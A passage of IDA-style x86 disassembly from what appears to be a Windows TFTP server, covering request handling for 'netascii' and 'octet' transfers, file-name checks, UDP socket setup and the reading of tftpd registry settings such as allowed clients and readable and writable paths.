push 4 ; hostshort
call ebx ; htons
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax ; hostshort
call ebx ; htons
mov [esi+3Ah], ax
lea eax, [edi+0Ch]
push 10h ; tolen
xor ebx, ebx
push eax ; to
push ebx ; flags
lea eax, [esi+38h]
push 4 ; len
push eax ; buf
push dword ptr [esi+20h] ; s
call ds:sendto ; sendto
mov [ebp+lpCriticalSection], eax
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002E74
cmp [esi+10028h], ebx
mov [esi+1000Ch], ebx
jnz short loc_1002E5F
mov dword ptr [esi+10000h], 3E8h
loc_1002E5F: ; CODE XREF: sub_1002CE6+16Dj
mov ecx, [esi+10000h]
push ecx
push ecx
push eax
push dword_10060A0
call ds:RtlUpdateTimer ; RtlUpdateTimer
loc_1002E74: ; CODE XREF: sub_1002CE6+15Fj
cmp [ebp+lpCriticalSection], 0FFFFFFFFh
jnz short loc_1002E80
call ds:WSAGetLastError ; WSAGetLastError
loc_1002E80: ; CODE XREF: sub_1002CE6+192j
mov eax, [edi+2Ch]
sub eax, 4
cmp eax, [edi+20h]
jnb short loc_1002EB3
mov eax, [esi+10004h]
cmp eax, ebx
jz short loc_1002EA3
push ebx
push eax
push dword_10060A0
call ds:RtlDeleteTimer ; RtlDeleteTimer
loc_1002EA3: ; CODE XREF: sub_1002CE6+1ADj
mov [esi+10004h], ebx
mov dword ptr [esi+10008h], 4
loc_1002EB3: ; CODE XREF: sub_1002CE6+A4j
; sub_1002CE6+B0j ...
push esi ; lpCriticalSection
call ds:LeaveCriticalSection
xor eax, eax
loc_1002EBC: ; CODE XREF: sub_1002CE6+10Cj
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002CE6 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC3 proc near ; CODE XREF: sub_1002EC8+22p
; sub_1002EC8+2Bp
xor eax, eax
retn 8
sub_1002EC3 endp
; =============== S U B R O U T I N E =======================================
sub_1002EC8 proc near ; CODE XREF: sub_1001A91+254p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+8]
call sub_10028B5
test eax, eax
jz short loc_1002F0A
mov ecx, [eax+24h]
dec ecx
jz short loc_1002F03
dec ecx
jz short loc_1002EFA
dec ecx
jz short loc_1002EF1
dec ecx
jnz short loc_1002F0A
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EF1: ; CODE XREF: sub_1002EC8+1Bj
push esi
push eax
call sub_1002EC3
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002EFA: ; CODE XREF: sub_1002EC8+18j
push esi ; int
push eax ; lpCriticalSection
call sub_1002CE6
jmp short loc_1002F0A
; ---------------------------------------------------------------------------
loc_1002F03: ; CODE XREF: sub_1002EC8+15j
push esi ; int
push eax ; lpCriticalSection
call sub_1002B5E
loc_1002F0A: ; CODE XREF: sub_1002EC8+Fj
; sub_1002EC8+1Ej ...
pop esi
retn 4
sub_1002EC8 endp
; =============== S U B R O U T I N E =======================================
sub_1002F0E proc near ; CODE XREF: sub_1002F31+20p
; sub_100333A+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
jbe short loc_1002F27
loc_1002F16: ; CODE XREF: sub_1002F0E+17j
mov ecx, [esp+arg_0]
cmp byte ptr [eax+ecx], 0
jz short loc_1002F2C
inc eax
cmp eax, [esp+arg_4]
jb short loc_1002F16
loc_1002F27: ; CODE XREF: sub_1002F0E+6j
xor eax, eax
locret_1002F29: ; CODE XREF: sub_1002F0E+21j
retn 8
; ---------------------------------------------------------------------------
loc_1002F2C: ; CODE XREF: sub_1002F0E+10j
push 1
pop eax
jmp short locret_1002F29
sub_1002F0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002F31 proc near ; CODE XREF: sub_1001A91+223p
; DATA XREF: sub_1001A91+1FCo
name = sockaddr ptr -28h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
to = dword ptr -8
Src = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
and [ebp+var_10], 0
and [ebp+var_14], 0
push esi
mov esi, [ebp+arg_0]
push edi
push 0FFBAh
lea ebx, [esi+36h]
push ebx
mov [ebp+var_18], ebx
call sub_1002F0E
test eax, eax
jz loc_100330F
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
push 10034h ; Size
repne scasb
not ecx
dec ecx
lea eax, [ecx+ebx+1]
mov [ebp+Src], eax
call ds:malloc ; malloc
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003331
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
rep stosd
push dword ptr [esi+10h] ; in
call ds:inet_ntoa ; inet_ntoa
mov [ebp+to], eax
mov ax, [esi+0Eh]
push eax ; hostshort
call ds:htons ; htons
mov edi, [ebp+Src]
mov [ebp+var_C], edi
mov al, [edi]
test al, al
jz short loc_1002FCD
loc_1002FB5: ; CODE XREF: sub_1002F31+97j
movsx eax, al
push eax ; C
call ds:tolower ; tolower
mov [edi], al
mov al, [edi+1]
inc edi
pop ecx
test al, al
jnz short loc_1002FB5
mov [ebp+var_C], edi
loc_1002FCD: ; CODE XREF: sub_1002F31+82j
mov edi, [ebp+Src]
mov eax, offset aNetascii ; "netascii"
loc_1002FD5: ; CODE XREF: sub_1002F31+C0j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_1002FF7
test cl, cl
jz short loc_1002FF3
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_1002FF7
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1002FD5
loc_1002FF3: ; CODE XREF: sub_1002F31+AEj
xor eax, eax
jmp short loc_1002FFC
; ---------------------------------------------------------------------------
loc_1002FF7: ; CODE XREF: sub_1002F31+AAj
; sub_1002F31+B8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_1002FFC: ; CODE XREF: sub_1002F31+C4j
test eax, eax
jz short loc_1003037
mov edi, [ebp+Src]
mov eax, offset aOctet ; "octet"
loc_1003008: ; CODE XREF: sub_1002F31+F3j
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100302A
test cl, cl
jz short loc_1003026
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100302A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_1003008
loc_1003026: ; CODE XREF: sub_1002F31+E1j
xor eax, eax
jmp short loc_100302F
; ---------------------------------------------------------------------------
loc_100302A: ; CODE XREF: sub_1002F31+DDj
; sub_1002F31+EBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100302F: ; CODE XREF: sub_1002F31+F7j
test eax, eax
jnz loc_10032F6
loc_1003037: ; CODE XREF: sub_1002F31+CDj
mov edi, [ebp+var_18]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esi+1FFADh]
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+Src], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_1003071
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10030CB
; ---------------------------------------------------------------------------
loc_1003071: ; CODE XREF: sub_1002F31+137j
push [ebp+to]
push offset Data
call sub_10039D6
test eax, eax
jnz short loc_1003093
push [ebp+to]
push offset byte_1005D20
call sub_10039D6
test eax, eax
jz short loc_10030A4
loc_1003093: ; CODE XREF: sub_1002F31+14Fj
push [ebp+Src]
push offset byte_1005D58
call sub_10039D6
test eax, eax
jnz short loc_10030B0
loc_10030A4: ; CODE XREF: sub_1002F31+160j
call ds:_errno ; _errno
push 0
push 2
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030B0: ; CODE XREF: sub_1002F31+171j
push (offset dword_1005E07+1) ; int
push 0FFBCh ; int
push [ebp+Src] ; Src
call sub_100273D
test eax, eax
jnz short loc_10030CF
push offset aFileNameTooLon ; "File name too long"
loc_10030CB: ; CODE XREF: sub_1002F31+13Ej
push 0
jmp short loc_1003100
; ---------------------------------------------------------------------------
loc_10030CF: ; CODE XREF: sub_1002F31+193j
push 8000h
push [ebp+Src]
call ds:_open ; _open
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebx+1002Ch], eax
jnz short loc_1003116
mov esi, ds:_errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
call esi ; _errno
push 0
push 1
loc_1003100: ; CODE XREF: sub_1002F31+17Dj
; sub_1002F31+19Cj
mov eax, [ebp+arg_0]
push dword ptr [eax+8]
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx
push eax
jmp loc_1003308
; ---------------------------------------------------------------------------
loc_1003116: ; CODE XREF: sub_1002F31+1B7j
mov edi, ds:_lseek
push 2
push 0
push eax
call edi ; _lseek
mov esi, [ebp+arg_0]
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_1003140
push 0
push 0
mov [esi+24h], eax
push dword ptr [ebx+1002Ch]
call edi ; _lseek
add esp, 0Ch
loc_1003140: ; CODE XREF: sub_1002F31+1FBj
cmp eax, 0FFFFFFFFh
jnz short loc_1003159
mov edi, ds:_errno
call edi ; _errno
call edi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
jmp short loc_1003197
; ---------------------------------------------------------------------------
loc_1003159: ; CODE XREF: sub_1002F31+212j
push 0 ; protocol
push 2 ; type
push 2 ; af
call ds:socket ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+Src], edi
jz short loc_1003191
mov eax, [esi+1Ch]
and word ptr [ebp+name.sa_data], 0
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push 10h ; namelen
push eax ; name
push edi ; s
mov [ebp+name.sa_family], 2
call ds:bind ; bind
test eax, eax
jz short loc_10031A3
loc_1003191: ; CODE XREF: sub_1002F31+23Cj
call ds:WSAGetLastError ; WSAGetLastError
loc_1003197: ; CODE XREF: sub_1002F31+226j
push offset aInsufficientRe ; "Insufficient resources"
push 0
jmp loc_10032FA
; ---------------------------------------------------------------------------
loc_10031A3: ; CODE XREF: sub_1002F31+25Ej
push ebx ; lpCriticalSection
mov [esi+8], edi
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+to], esi
movsd
movsd
movsd
movsd
xor edi, edi
push edi ; lpName
push edi ; bInitialState
push edi ; bManualReset
push edi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, edi
mov [ebx+0FFF8h], eax
jz short loc_10031E8
push 2 ; char
push eax ; hEventObject
push [ebp+Src] ; s
call sub_100188E
cmp eax, edi
mov [ebx+0FFFCh], eax
jnz short loc_10031F3
loc_10031E8: ; CODE XREF: sub_1002F31+2A0j
call ds:GetLastError
jmp loc_1003312
; ---------------------------------------------------------------------------
loc_10031F3: ; CODE XREF: sub_1002F31+2B5j
add ebx, 18h
push ebx
call sub_100287F
push 1
pop esi
push [ebp+Src]
mov [ebp+var_14], esi
call sub_10028B5
mov ebx, eax
cmp ebx, edi
jz loc_1003312
lea edi, [ebx+10028h]
lea eax, [ebx+38h]
push edi ; int
push eax ; int
lea eax, [ebx+10024h]
mov [ebp+var_10], esi
push eax ; int
mov eax, [ebp+var_C]
push esi ; int
mov esi, [ebp+arg_0]
inc eax
push eax ; Str1
push esi ; int
call sub_10023D8
test eax, eax
jnz loc_1003312
cmp [edi], eax
jz short loc_1003255
mov eax, [esi+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_100325F
; ---------------------------------------------------------------------------
loc_1003255: ; CODE XREF: sub_1002F31+311j
mov dword ptr [ebx+10000h], 3E8h
loc_100325F: ; CODE XREF: sub_1002F31+322j
mov eax, [ebx+10000h]
push 0
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
push 1
pop edi
mov [ebx+24h], edi
mov eax, [esi+20h]
push esi
push ebx
mov [ebx+10018h], eax
mov [ebx+10014h], di
call sub_10027E1
push 10h ; tolen
xor ecx, ecx
push [ebp+to] ; to
cmp eax, ecx
mov [ebx+1000Ch], ecx
push ecx ; flags
push dword ptr [ebx+10020h] ; len
jz short loc_10032D9
lea eax, [ebx+38h]
push eax ; buf
push [ebp+Src] ; s
call ds:sendto ; sendto
mov ecx, [ebx+1001Ch]
cmp ecx, [esi+20h]
jnb short loc_10032E9
mov [ebx+10030h], edi
jmp short loc_10032E9
; ---------------------------------------------------------------------------
loc_10032D9: ; CODE XREF: sub_1002F31+386j
add esi, 0FFF1h
push esi ; buf
push [ebp+Src] ; s
call ds:sendto ; sendto
loc_10032E9: ; CODE XREF: sub_1002F31+39Ej
; sub_1002F31+3A6j
cmp eax, 0FFFFFFFFh
jnz short loc_1003312
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_10032F6: ; CODE XREF: sub_1002F31+100j
push 0 ; int
push 4 ; hostshort
loc_10032FA: ; CODE XREF: sub_1002F31+26Dj
push dword ptr [esi+8] ; s
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax ; int
push esi ; to
loc_1003308: ; CODE XREF: sub_1002F31+1E0j
call sub_100230A
jmp short loc_1003312
; ---------------------------------------------------------------------------
loc_100330F: ; CODE XREF: sub_1002F31+27j
mov ebx, [ebp+arg_0]
loc_1003312: ; CODE XREF: sub_1002F31+2BDj
; sub_1002F31+2DDj ...
test ebx, ebx
jz short loc_1003331
cmp [ebp+var_10], 0
jz short loc_1003323
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1003323: ; CODE XREF: sub_1002F31+3E9j
cmp [ebp+var_14], 0
jnz short loc_1003331
push ebx ; Memory
call ds:free ; free
pop ecx
loc_1003331: ; CODE XREF: sub_1002F31+50j
; sub_1002F31+3E3j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_1002F31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100333A proc near ; DATA XREF: sub_1001A91+20Fo
name = sockaddr ptr -28h
to = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Src = dword ptr -8
s = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
and [ebp+var_10], 0
and [ebp+var_14], 0
push ebx
push esi
push edi
push 10034h ; Size
call ds:malloc ; malloc
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_1003731
mov ecx, 400Dh
xor eax, eax
mov edi, ebx
push 0FFBAh
rep stosd
mov eax, [ebp+arg_0]
lea esi, [eax+36h]
push esi
mov [ebp+s], esi
call sub_1002F0E
test eax, eax
jz loc_1003712
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebp+arg_0]
not ecx
push dword ptr [edi+10h] ; in
dec ecx
lea esi, [ecx+esi+1]
call ds:inet_ntoa ; inet_ntoa
mov [ebp+to], eax
mov ax, [edi+0Eh]
push eax ; hostshort
call ds:htons ; htons
cmp byte ptr [esi], 0
mov edi, esi
mov [ebp+var_C], edi
jz short loc_10033E1
loc_10033BC: ; CODE XREF: sub_100333A+A2j
movsx eax, byte ptr [edi]
push eax ; C
call ds:isupper ; isupper
test eax, eax
movsx eax, byte ptr [edi]
pop ecx
jz short loc_10033D6
push eax ; C
call ds:tolower ; tolower
pop ecx
loc_10033D6: ; CODE XREF: sub_100333A+92j
mov [edi], al
inc edi
cmp byte ptr [edi], 0
jnz short loc_10033BC
mov [ebp+var_C], edi
loc_10033E1: ; CODE XREF: sub_100333A+80j
mov eax, offset aNetascii ; "netascii"
mov edi, esi
loc_10033E8: ; CODE XREF: sub_100333A+CAj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_100340A
test cl, cl
jz short loc_1003406
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_100340A
inc edi
inc edi
inc eax
inc eax
test cl, cl
jnz short loc_10033E8
loc_1003406: ; CODE XREF: sub_100333A+B8j
xor eax, eax
jmp short loc_100340F
; ---------------------------------------------------------------------------
loc_100340A: ; CODE XREF: sub_100333A+B4j
; sub_100333A+C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100340F: ; CODE XREF: sub_100333A+CEj
test eax, eax
jnz short loc_100341F
mov dword ptr [ebx+10030h], 4000h
jmp short loc_100345D
; ---------------------------------------------------------------------------
loc_100341F: ; CODE XREF: sub_100333A+D7j
mov edi, offset aOctet ; "octet"
loc_1003424: ; CODE XREF: sub_100333A+106j
mov cl, [esi]
mov al, cl
cmp cl, [edi]
jnz short loc_1003446
test al, al
jz short loc_1003442
mov cl, [esi+1]
mov al, cl
cmp cl, [edi+1]
jnz short loc_1003446
inc esi
inc esi
inc edi
inc edi
test al, al
jnz short loc_1003424
loc_1003442: ; CODE XREF: sub_100333A+F4j
xor eax, eax
jmp short loc_100344B
; ---------------------------------------------------------------------------
loc_1003446: ; CODE XREF: sub_100333A+F0j
; sub_100333A+FEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_100344B: ; CODE XREF: sub_100333A+10Aj
test eax, eax
jnz loc_10036F8
mov dword ptr [ebx+10030h], 8000h
loc_100345D: ; CODE XREF: sub_100333A+E3j
mov eax, [ebp+arg_0]
mov edi, [ebp+s]
or ecx, 0FFFFFFFFh
lea edx, [eax+1FFADh]
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push edx
mov eax, ecx
mov esi, edi
mov edi, edx
mov [ebp+Src], edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call sub_100261E
test eax, eax
jnz short loc_100349A
push offset aMalformedFileN ; "Malformed file name"
jmp short loc_10034DF
; ---------------------------------------------------------------------------
loc_100349A: ; CODE XREF: sub_100333A+157j
push [ebp+to]
push offset byte_1005D20
call sub_10039D6
test eax, eax
jz loc_10036EC
push [ebp+s]
push offset byte_1005D90
call sub_10039D6
test eax, eax
jz loc_10036EC
push (offset dword_1005E07+1) ; int
push 0FFBCh ; int
push [ebp+Src] ; Src
call sub_100273D
test eax, eax
jnz short loc_10034E6
push offset aFileNameTooLon ; "File name too long"
loc_10034DF: ; CODE XREF: sub_100333A+15Ej
push 0
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_10034E6: ; CODE XREF: sub_100333A+19Ej
push 180h
push 8302h
push [ebp+Src]
call ds:_open ; _open
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebx+1002Ch], eax
jnz short loc_100351E
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
jmp loc_10036F2
; ---------------------------------------------------------------------------
loc_100351E: ; CODE XREF: sub_100333A+1CBj
xor esi, esi
push esi ; protocol
push 2 ; type
push 2 ; af
call ds:socket ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+s], edi
jnz short loc_1003546
call ds:WSAGetLastError ; WSAGetLastError
push offset aInsufficientRe ; "Insufficient resources"
push esi
jmp loc_10036FC
; ---------------------------------------------------------------------------
loc_1003546: ; CODE XREF: sub_100333A+1F9j
mov word ptr [ebp+name.sa_data], si
mov esi, [ebp+arg_0]
push 10h ; namelen
mov [ebp+name.sa_family], 2
mov eax, [esi+1Ch]
mov dword ptr [ebp+name.sa_data+2], eax
lea eax, [ebp+name]
push eax ; name
push edi ; s
call ds:bind ; bind
test eax, eax
jz short loc_100358A
call ds:WSAGetLastError ; WSAGetLastError
push offset aInsufficientRe ; "Insufficient resources"
push 0
push dword ptr [esi+8]
lea eax, [esi+0FFF1h]
add esi, 0Ch
push eax
push esi
jmp loc_100370D
; ---------------------------------------------------------------------------
loc_100358A: ; CODE XREF: sub_100333A+22Ej
lea eax, [ebx+10028h]
mov [esi+8], edi
push eax ; int
lea eax, [ebx+38h]
push eax ; int
lea eax, [ebx+10024h]
push eax ; int
mov eax, [ebp+var_C]
inc eax
push 2 ; int
push eax ; Str1
push esi ; int
call sub_10023D8
test eax, eax
jnz loc_1003712
push ebx ; lpCriticalSection
call ds:InitializeCriticalSection ; InitializeCriticalSection
mov [ebx+20h], edi
add esi, 0Ch
lea edi, [ebx+28h]
mov [ebp+to], esi
movsd
movsd
movsd
movsd
xor esi, esi
push esi ; lpName
push esi ; bInitialState
push esi ; bManualReset
push esi ; lpEventAttributes
call ds:CreateEventA ; CreateEventA
cmp eax, esi
mov [ebx+0FFF8h], eax
jz short loc_10035F8
push 2
pop edi
push edi ; char
push eax ; hEventObject
push [ebp+s] ; s
call sub_100188E
cmp eax, esi
mov [ebx+0FFFCh], eax
jnz short loc_1003603
loc_10035F8: ; CODE XREF: sub_100333A+2A5j
call ds:GetLastError
jmp loc_1003712
; ---------------------------------------------------------------------------
loc_1003603: ; CODE XREF: sub_100333A+2BCj
add ebx, 18h
push ebx
call sub_100287F
push [ebp+s]
mov [ebp+var_14], 1
call sub_10028B5
mov ebx, eax
cmp ebx, esi
jz loc_1003712
xor esi, esi
mov [ebp+var_10], 1
cmp [ebx+10028h], esi
jz short loc_100364A
mov eax, [ebp+arg_0]
mov eax, [eax+28h]
imul eax, 3E8h
mov [ebx+10000h], eax
jmp short loc_1003654
; ---------------------------------------------------------------------------
loc_100364A: ; CODE XREF: sub_100333A+2FAj
mov dword ptr [ebx+10000h], 3E8h
loc_1003654: ; CODE XREF: sub_100333A+30Ej
mov eax, [ebx+10000h]
push esi
push eax
push eax
push dword ptr [ebx+20h]
lea eax, [ebx+10004h]
push offset sub_1002A3D
push eax
push dword_10060A0
call ds:RtlCreateTimer ; RtlCreateTimer
mov eax, [ebp+arg_0]
mov ecx, [ebx+10024h]
mov [ebx+24h], edi
cmp ecx, esi
mov eax, [eax+20h]
mov [ebx+10018h], eax
lea eax, [ebx+10024h]
jz short loc_10036A1
mov [ebx+10020h], ecx
mov [eax], esi
jmp short loc_10036C5
; ---------------------------------------------------------------------------
loc_10036A1: ; CODE XREF: sub_100333A+35Bj
mov esi, ds:htons
push 4
pop edi
push edi ; hostshort
call esi ; htons
mov [ebx+38h], ax
mov ax, [ebx+10014h]
push eax ; hostshort
call esi ; htons
mov [ebx+3Ah], ax
mov [ebx+10020h], edi
loc_10036C5: ; CODE XREF: sub_100333A+365j
push 10h ; tolen
lea eax, [ebx+38h]
push [ebp+to] ; to
push 0 ; flags
push dword ptr [ebx+10020h] ; len
push eax ; buf
push [ebp+s] ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1003712
call ds:WSAGetLastError ; WSAGetLastError
jmp short loc_1003712
; ---------------------------------------------------------------------------
loc_10036EC: ; CODE XREF: sub_100333A+16Fj
; sub_100333A+184j
call ds:_errno ; _errno
loc_10036F2: ; CODE XREF: sub_100333A+1DFj
push 0
push 2
jmp short loc_10036FC
; ---------------------------------------------------------------------------
loc_10036F8: ; CODE XREF: sub_100333A+113j
push 0 ; int
push 4 ; hostshort
loc_10036FC: ; CODE XREF: sub_100333A+1A7j
; sub_100333A+207j ...
mov eax, [ebp+arg_0]
push dword ptr [eax+8] ; s
lea ecx, [eax+0FFF1h]
add eax, 0Ch
push ecx ; int
push eax ; to
loc_100370D: ; CODE XREF: sub_100333A+24Bj
call sub_100230A
loc_1003712: ; CODE XREF: sub_100333A+48j
; sub_100333A+274j ...
test ebx, ebx
jz short loc_1003731
cmp [ebp+var_10], 0
jz short loc_1003723
push ebx ; lpCriticalSection
call ds:LeaveCriticalSection
loc_1003723: ; CODE XREF: sub_100333A+3E0j
cmp [ebp+var_14], 0
jnz short loc_1003731
push ebx ; Memory
call ds:free ; free
pop ecx
loc_1003731: ; CODE XREF: sub_100333A+21j
; sub_100333A+3DAj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_100333A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100373A proc near ; CODE XREF: sub_1002CE6+D7p
var_1FF70 = byte ptr -1FF70h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1FF70h
call _chkstk ; _chkstk
cmp [ebp+arg_C], 8000h
push esi
push edi
jnz short loc_100375A
push [ebp+arg_8]
push [ebp+arg_4]
jmp short loc_1003792
; ---------------------------------------------------------------------------
loc_100375A: ; CODE XREF: sub_100373A+16j
mov edx, [ebp+arg_4]
xor ecx, ecx
xor esi, esi
cmp [ebp+arg_8], ecx
jle short loc_1003790
mov edi, [ebp+arg_10]
loc_1003769: ; CODE XREF: sub_100373A+54j
cmp byte ptr [edi], 0Dh
jnz short loc_1003779
cmp byte ptr [ecx+edx], 0
jnz short loc_1003779
and byte ptr [edi], 0
jmp short loc_100378A
; ---------------------------------------------------------------------------
loc_1003779: ; CODE XREF: sub_100373A+32j
; sub_100373A+38j
mov al, [ecx+edx]
mov [ebp+esi+var_1FF70], al
inc esi
cmp al, 0Dh
jnz short loc_100378A
mov [edi], al
loc_100378A: ; CODE XREF: sub_100373A+3Dj
; sub_100373A+4Cj
inc ecx
cmp ecx, [ebp+arg_8]
jl short loc_1003769
loc_1003790: ; CODE XREF: sub_100373A+2Aj
push esi
push edx
loc_1003792: ; CODE XREF: sub_100373A+1Ej
push [ebp+arg_0]
call ds:_write ; _write
mov edi, eax
add esp, 0Ch
cmp edi, 0FFFFFFFFh
jnz short loc_10037B7
mov esi, ds:_errno
call esi ; _errno
call esi ; _errno
push dword ptr [eax] ; dwErrCode
call ds:SetLastError
loc_10037B7: ; CODE XREF: sub_100373A+69j
mov eax, edi
pop edi
pop esi
leave
retn 14h
sub_100373A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10037BF proc near ; CODE XREF: sub_1001665:loc_10017F3p
hKey = dword ptr -10h
Type = dword ptr -0Ch
cbData = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+hKey]
push ebx
xor ebx, ebx
push eax ; phkResult
push 0F003Fh ; samDesired
push ebx ; ulOptions
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push 80000002h ; hKey
mov [ebp+var_4], ebx
call ds:RegOpenKeyExA ; RegOpenKeyExA
cmp eax, ebx
jz short loc_10037F6
call ds:GetLastError
xor eax, eax
jmp loc_100390D
; ---------------------------------------------------------------------------
loc_10037F6: ; CODE XREF: sub_10037BF+28j
cmp byte ptr dword_1005E07+1, bl
push edi
push esi
mov esi, ds:RegQueryValueExA
jnz short loc_100383C
lea eax, [ebp+cbData]
mov [ebp+cbData], 1F4h
push eax ; lpcbData
lea eax, [ebp+Type]
push (offset dword_1005E07+1) ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset ValueName ; "directory"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003831
call ds:GetLastError
jmp short loc_100383C
; ---------------------------------------------------------------------------
loc_1003831: ; CODE XREF: sub_10037BF+68j
push 1
pop eax
cmp [ebp+Type], eax
jnz short loc_100383C
mov [ebp+var_4], eax
loc_100383C: ; CODE XREF: sub_10037BF+45j
; sub_10037BF+70j ...
push 32h
lea eax, [ebp+cbData]
pop edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset Data ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aClients ; "clients"
push [ebp+hKey] ; hKey
mov [ebp+cbData], edi
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003866
call ds:GetLastError
jmp short loc_100386F
; ---------------------------------------------------------------------------
loc_1003866: ; CODE XREF: sub_10037BF+9Dj
cmp [ebp+Type], 1
jnz short loc_100386F
inc [ebp+var_4]
loc_100386F: ; CODE XREF: sub_10037BF+A5j
; sub_10037BF+ABj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D20 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aMasters ; "masters"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_1003896
call ds:GetLastError
jmp short loc_100389F
; ---------------------------------------------------------------------------
loc_1003896: ; CODE XREF: sub_10037BF+CDj
cmp [ebp+Type], 1
jnz short loc_100389F
inc [ebp+var_4]
loc_100389F: ; CODE XREF: sub_10037BF+D5j
; sub_10037BF+DBj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D58 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aReadable ; "readable"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_10038C6
call ds:GetLastError
jmp short loc_10038CF
; ---------------------------------------------------------------------------
loc_10038C6: ; CODE XREF: sub_10037BF+FDj
cmp [ebp+Type], 1
jnz short loc_10038CF
inc [ebp+var_4]
loc_10038CF: ; CODE XREF: sub_10037BF+105j
; sub_10037BF+10Bj
lea eax, [ebp+cbData]
mov [ebp+cbData], edi
push eax ; lpcbData
lea eax, [ebp+Type]
push offset byte_1005D90 ; lpData
push eax ; lpType
push ebx ; lpReserved
push offset aWritable ; "writable"
push [ebp+hKey] ; hKey
call esi ; RegQueryValueExA
cmp eax, ebx
jz short loc_10038F6
call ds:GetLastError
jmp short loc_10038FF
; ---------------------------------------------------------------------------
